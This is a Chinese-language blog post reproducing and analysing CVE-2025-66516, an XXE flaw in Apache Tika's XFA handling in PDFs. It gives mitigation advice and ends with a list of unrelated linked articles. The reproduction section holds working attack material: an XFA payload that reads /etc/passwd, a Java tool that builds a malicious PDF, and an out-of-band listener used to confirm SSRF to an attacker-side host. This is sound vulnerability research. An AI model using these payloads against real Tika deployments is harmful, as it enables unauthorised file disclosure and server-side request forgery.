Apache Tika XXE注入漏洞 | CVE-2025-66516 复现&研究

作者:探索宇宙真理.日期:2025/12/21

0x0 背景介绍

Tika Pdf Parser ModuleApache软件基金会开发的Java库,专用于解析PDF文件内容。核心功能包括文本提取、元数据解析及嵌入式对象处理,基于Apache Tika框架实现,依赖PDFBox等开源库。
Apache Tikatika-core(1.13-3.2.1)、tika-pdf-module(2.0.0-3.2.1)和tika-parsers(1.13-1.28.5)模块存在严重XXE漏洞(跨平台),攻击者可通过构造PDF内的XFA文件实施XML外部实体注入攻击。
CVECVE-2025-54988描述的是同一漏洞,但在受影响包范围上进行了两处扩展。

0x1 环境搭建

Ubuntu24快速搭建配置

1#项目创建
2mkdir tika-CVE-2025-66516 && cd tika-CVE-2025-66516
3
4#拉取环境&启动(使用 tika-server 可快速验证远程 SSRF;若需本地调试,建议使用 tika-app-3.2.1.jar)
5wget https://repo1.maven.org/maven2/org/apache/tika/tika-server-standard/3.2.1/tika-server-standard-3.2.1.jar
6java -jar tika-server-standard-3.2.1.jar -p 9998 --host 0.0.0.0
7

启动成功

0x2 漏洞复现

1、附一个文件读取PDF,我看已经有扫描的POC就不做了

1、读取passwd功能

1https://github.com/Kai-One001/cve-/blob/main/CVE-2025-66516-xfa-passwd.pdf
2

2、可利用XFA内容(XML)

1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE xdp:xdp [
3  <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" xml:lang="en">
6<config xmlns="http://www.xfa.org/schema/xci/3.1/">
7  <present><pdf><version>1.7</version></pdf></present>
8</config>
9<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
10  <subform name="form1" layout="tb">
11    <pageSet>
12      <pageArea><contentArea/><medium stock="letter"/></pageArea>
13    </pageSet>
14    <subform>
15      <field name="data">
16        <ui><textEdit/></ui>
17        <value><text>&xxe;</text></value>
18      </field>
19    </subform>
20  </subform>
21</template>
22<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
23  <xfa:data><form1><data>&xxe;</data></form1></xfa:data>
24</xfa:datasets>
25</xdp:xdp>
26

2、伪造SSRF场景

场景说明:搭建带外(OOB)检测服务器,验证 SSRF 是否成功发起外部请求(本地闭环测试)

攻击者
  • 假设攻击者设备,发布8080服务,等待带外数据
1from http.server import BaseHTTPRequestHandler, HTTPServer
2
3class Handler(BaseHTTPRequestHandler):
4    def do_GET(self):
5        self.send_response(200)
6        self.send_header('Content-type', 'text/plain')
7        self.end_headers()
8
9        # 关键:必须是纯 ASCII 文本,不能有引号/特殊字符
10
11        self.wfile.write(b"SSRF_SUCCESS")#仅此一行
12
13if __name__ == "__main__":
14    server = HTTPServer(('0.0.0.0', 8080), Handler)
15    print("Server running on http://0.0.0.0:8080")
16    server.serve_forever()
17	
18
  • 启动环境
1python server.py
2

启动截图

漏洞利用模拟
  • POC文件
1cat > CreateProbePdf.java << 'EOF'
2import org.apache.pdfbox.cos.COSArray;
3import org.apache.pdfbox.cos.COSName;
4import org.apache.pdfbox.cos.COSString;
5import org.apache.pdfbox.pdmodel.PDDocument;
6import org.apache.pdfbox.pdmodel.common.PDStream;
7import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
8import java.io.ByteArrayInputStream;
9import java.nio.charset.StandardCharsets;
10
11public class CreateProbePdf {
12    public static void main(String[] args) throws Exception {
13        if (args.length < 2) {
14            System.err.println("Usage: java CreateProbePdf <output.pdf> \"<ENTITY_PAYLOAD>\"");
15            return;
16        }
17
18        String outputFile = args[0];
19        String entityPayload = args[1]; // e.g., "http://192.168.63.128:8080/"
20    
21        PDDocument doc = new PDDocument();
22        PDAcroForm form = new PDAcroForm(doc);
23        doc.getDocumentCatalog().setAcroForm(form);
24    
25        // 关键:内嵌 DTD + 纯文本实体
26        String xfa = "<?xml version=\"1.0\"?>\n" +
27                "<!DOCTYPE xfa [\n" +
28                "  <!ENTITY test SYSTEM \"" + entityPayload + "\">\n" +
29                "]>\n" +
30                "<xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">\n" +
31                "  <template xmlns=\"http://www.xfa.org/schema/xfa-template/2.8/\">\n" +
32                "    <subform name=\"form1\">\n" +
33                "      <field name=\"leak\">\n" +
34                "        <ui><textEdit/></ui>\n" +
35                "        <value><text>&test;</text></value>\n" +  // 保留
36                "      </field>\n" +
37                "    </subform>\n" +
38                "  </template>\n" +
39                "  <xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">\n" +
40                "    <xfa:data><leak>&test;</leak></xfa:data>\n" +  // 保留
41                "  </xfa:datasets>\n" +
42                "</xdp:xdp>";
43    
44        byte[] bytes = xfa.getBytes(StandardCharsets.UTF_8);
45        PDStream xfaStream = new PDStream(doc, new ByteArrayInputStream(bytes));
46    
47        COSArray xfaArray = new COSArray();
48        xfaArray.add(new COSString("config.xml")); // 名称占位(符合 PDF 规范)
49        xfaArray.add(xfaStream);                  // 真实 XFA 数据流
50    
51        form.getCOSObject().setItem(COSName.XFA, xfaArray);
52        doc.save("evil-xfa.pdf");
53        doc.close();
54        System.out.println("YES to evil-xfa.pdf generated");
55    }
56
57}
58EOF
59
1
2#附jar包
3https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
4
5https://repo1.maven.org/maven2/org/apache/pdfbox/pdfbox-app/2.0.30/pdfbox-app-2.0.30.jar
6
7
1#编译
2javac -cp pdfbox-app-2.0.30.jar CreateProbePdf.java
3
4#运行生成恶意PDF
5java -cp ".:pdfbox-app-2.0.30.jar" CreateProbePdf any_name.pdf "http://192.168.63.128:8080/"
6
  • 搭建一个本地利用窗口,模拟pdftika解析
1//攻击框架 PdfDemo.java
2import java.io.InputStream;
3import java.nio.file.*;
4import org.apache.tika.metadata.Metadata;
5import org.apache.tika.parser.AutoDetectParser;
6import org.apache.tika.parser.ParseContext;
7import org.apache.tika.sax.BodyContentHandler;
8
9public class PdfDemo {
10    public static void main(String[] args) throws Exception {
11        try (InputStream is = Files.newInputStream(Paths.get("evil-xfa.pdf"))) {
12            BodyContentHandler handler = new BodyContentHandler(-1); // -1 防截断
13            Metadata metadata = new Metadata();
14            ParseContext context = new ParseContext();
15
16            AutoDetectParser parser = new AutoDetectParser();
17            parser.parse(is, handler, metadata, context);
18    
19            System.out.println("=== 获取内容 ===");
20            System.out.println(handler.toString());
21        }
22    }
23
24}
25
1javac -cp tika-app-3.2.1.jar PdfDemo.java
2java -cp ".:tika-app-3.2.1.jar" PdfDemo
3

运行exp
收到请求

3、复现流量特征 (PCAP)

emmm长话短说,没来得及整,但是上传肯定能监控到的,恶意PDF内容如下:
恶意PDF

0x3 漏洞原理分析

漏洞定位

已知:构造的 PDF 中包含 <text>&xxe;</text> tika-app-3.2.1.jar 解析后,&xxe; 被替换成实际内容,漏洞发生在XFA 内容被当作XML 解析的步骤

(1)入口:PDFParser 提取 XFA

找到PDF文件夹,定位文件PDFParser.java文件,快速预览见方法

1//tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\PDFParser.java
2    private void handleXFAOnly(PDDocument pdDocument, ContentHandler handler, Metadata metadata,
3                               ParseContext context)
4            throws SAXException, IOException, TikaException {
5        XFAExtractor ex = new XFAExtractor();
6        XHTMLContentHandler xhtml = new XHTMLContentHandler(handler, metadata);
7        xhtml.startDocument();
8        try (InputStream is = 
9                UnsynchronizedByteArrayInputStream.builder().setByteArray(pdDocument.getDocumentCatalog().getAcroForm(null).getXFA().getBytes()).get()) {
10            ex.extract(is, xhtml, metadata, context);
11        } catch (XMLStreamException e) {
12            throw new TikaException("XML error in XFA", e);
13        }
14        xhtml.endDocument();
15    }
16
17

(2)核心解析:XFAExtractor 使用 StAX

明确将 XFA 字节流交给 XFAExtractor 处理,跟踪下该方法(Ctrl+单击跳转方法)

1//\tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\XFAExtractor.java
2XMLStreamReader reader = XMLReaderUtils.getXMLInputFactory(context).createXMLStreamReader(xfaIs);
3

看核心方法 extract()注意到:XMLStreamReaderJava StAX API的核心接口,StAX 默认会解析并展开外部实体,除非显式禁用

(3)配置集中管理:XMLReaderUtils

所有XML解析器的创建均委托给统一工具类XMLReaderUtils

在开头,声明引入的库

1import org.apache.tika.utils.XMLReaderUtils;
2

定位文件位置:

1tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java
2

该文件包含多种的解析器,进一步证明是统一管理入口:

1//tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java
2public static SAXParser getSAXParser() throws TikaException { ... }
3public static DocumentBuilder getDocumentBuilder() throws TikaException { ... }
4public static XMLInputFactory getXMLInputFactory() { ... }
5public static Transformer getTransformer() throws TikaException { ... }
6

能看到有多重防御XXE方案

1factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
2trySetSAXFeature(factory, "http://xml.org/sax/features/external-general-entities", false);
3trySetSAXFeature(factory, "http://xml.org/sax/features/external-parameter-entities", false);
4trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
5trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false);
6

不过在XMLInputFactory getXMLInputFactory()中,能构造的XFA数据包利用XXE

1public static XMLInputFactory getXMLInputFactory() {
2    XMLInputFactory factory = XMLInputFactory.newFactory();
3    tryToSetStaxProperty(factory, IS_NAMESPACE_AWARE, true);
4    tryToSetStaxProperty(factory, IS_VALIDATING, false);
5    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // 以为这能防 XXE(实际返回空字符串)
6    trySetStaxSecurityManager(factory);
7    return factory;
8}
9
10

(4)整体工作流:

1PDFParser 提取 XFA 字节流  交给 XFAExtractor
2XFAExtractor 调用 XMLReaderUtils.getXMLInputFactory()  获取不安全的 factory
3factory 创建 XMLStreamReader  解析恶意 XFA
4StAX 遇到 <!DOCTYPE ...>  加载外部实体
5遇到 &xxe;  展开为文件内容/发起 HTTP 请求
6内容被写入 XHTMLContentHandler  最终输出到你的 handler.toString()
7

(5)结论:

只要DTD没被禁用,解析器就会先解析DOCTYPE声明,这时候即使后面用resolver返回空,攻击者仍可能利用DTD内部的结构(比如参数实体)发起攻击。所以根本解法是像 SAX 那样,显式设置SUPPORT_DTD=false

0x4 修复建议

修复方案

  1. 官方已发布漏洞通告,建议受影响的用户依据官方通告进行修复。apache tika
  2. 临时防护措施:
    配置XML解析器:如SAXParser、DOMParser禁用外部实体加载功能,或使用安全的XML解析库
    限制文件上传来源:建议仅允许可信来源上传,并对文件内容进行监控分析
    部署WAF规则:部署Web应用防火墙,拦截恶意XML实体声明

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。


Apache Tika XXE注入漏洞 | CVE-2025-66516 复现&研究》 是转载文章,点击查看原文


相关推荐


tig 的untracked changes和unstaged changes含义?
aoxiang_ywj2025/12/13

背景:你理解tig中untracked changes和unstaged changes的含义?它们对应的代码存在哪里呢?在本地仓库?提交到gitlab线上库了?下面将解答这些疑问。 一、核心结论先明确 tig 中显示的 Untracked changes(未跟踪变更)和 Unstaged changes(未暂存变更)都属于本地工作区的修改,完全没有提交到 GitLab 线上库,甚至连「本地仓库的提交(commit)」都没完成 —— 它们和 GitLab 线上库没有任何关联,仅存在于你的本地


从 Oracle 到 KingbaseES:破解迁移痛点,解锁信创时代数据库新可能
倔强的石头_2025/12/5

提起 Oracle,它在传统数据库领域可是标杆般的存在,长久以来一直撑起了众多企业的核心业务,可这两年情形发生了改变,Oracle的授权费用很高,运维成本又让人头疼,再加上信创政策对于合规有着强硬的要求,于是很多企业便开始把目光转向国产数据库。金仓数据库 KingbaseES 是国产数据库中的佼佼者,凭借其高适配性和高性能的基础,成了人们更换 Oracle 的首要选择,不过要告诉大家的是,迁移之路并非易走,“报错”频繁出现,存在适配性障碍,成本难以控制住……这些难点真真切切地成为了企业在执行迁移


Git/Gitee/GitHub有什么区别
lifewange2025/12/31

Git、GitHub、Gitee(码云)三者核心区别 & 完整详解 你想弄清楚这三者的关系和差异,本质上Git 是「工具」,GitHub/Gitee 是「平台」,这是最核心的定位区别,三者不是同一维度的东西,先把这个核心逻辑吃透,所有差异就一目了然了。 ✅ 一、三者的「本质定位」(最核心,必记) 1. Git —— 本地的「版本控制系统」(纯软件 / 工具) Git 是一个免费、开源的分布式版本控制软件,它是一个安装在你电脑本地的程序 / 工具,不依赖任何网络、不依赖任何网站就能独立运行


如何在CentOS 7.9 服务器上配置并优化 Ceph 分布式存储集群,提升数据冗余与性能?
A5IDCCOM2026/1/8

本文基于A5IDC在真实生产环境(跨机房 Ceph 集群支撑虚拟机盘、对象存储及容灾复制)的实战经验,详细讲解如何从零部署 Ceph 集群在 CentOS 7.9 上,并通过硬件配置选择、网络优化、Ceph 参数调优等实用细节提升 数据冗余能力与性能表现。文章包含具体产品型号、系统配置表、命令示例与性能评估对比表,适合中大型数据中心储存架构实施。 一、背景与目标 随着业务系统对海量数据持久层的要求不断提升,我们需要一个高可靠、易扩展、具有自动自愈能力的分布式存储平台。Ceph 是开源生态


图解DeepSeek最新论文,人人都能看得懂!
饼干哥哥2026/1/16

DeepSeek 又发论文了。 这一次,没有惊天动地的参数军备竞赛,没有万卡集群的暴力美学。 他们只是冷静地指出了当前 AI 届一个“皇帝的新衣”: 我们最顶尖的大模型,其实都在做着极其愚蠢的事情。 在这篇名为《Conditional Memory via Scalable Lookup》(基于可扩展查找的条件记忆)的论文中,DeepSeek 创始人梁文锋亲自署名,揭示了下一代大模型架构(V4?)的核心秘密:与其让模型更努力地“思考”,不如教它学会“作弊”。 01.愚蠢的天才:为什么要用算力去


CSDN创作变现活动!社区镜像或使用视频教程分别单个最高得 80 元,收益上不封顶!
CSDN官方博客2026/1/25

CSDN AI 社区是聚焦 AI 技术产业落地的开发者服务平台(官方入口),核心为创作者搭建技术价值转化桥梁,AI社区涵盖: 镜像市场(社区镜像)、算力市场等模块。 本次推出镜像创作激励活动,以下是方案活动规则、参与要求及激励政策,保障创作者权益与活动有序开展。 一、活动总则 活动时间: 2026年1月1日 - 2026年2月28日 现金奖励: 1、按照官方指定镜像任务创作,单个社区镜像奖励 30-80元现金 ,创作越多可获得现金奖

首页编辑器站点地图

本站内容在 CC BY-SA 4.0 协议下发布

Copyright © 2026 XYZ博客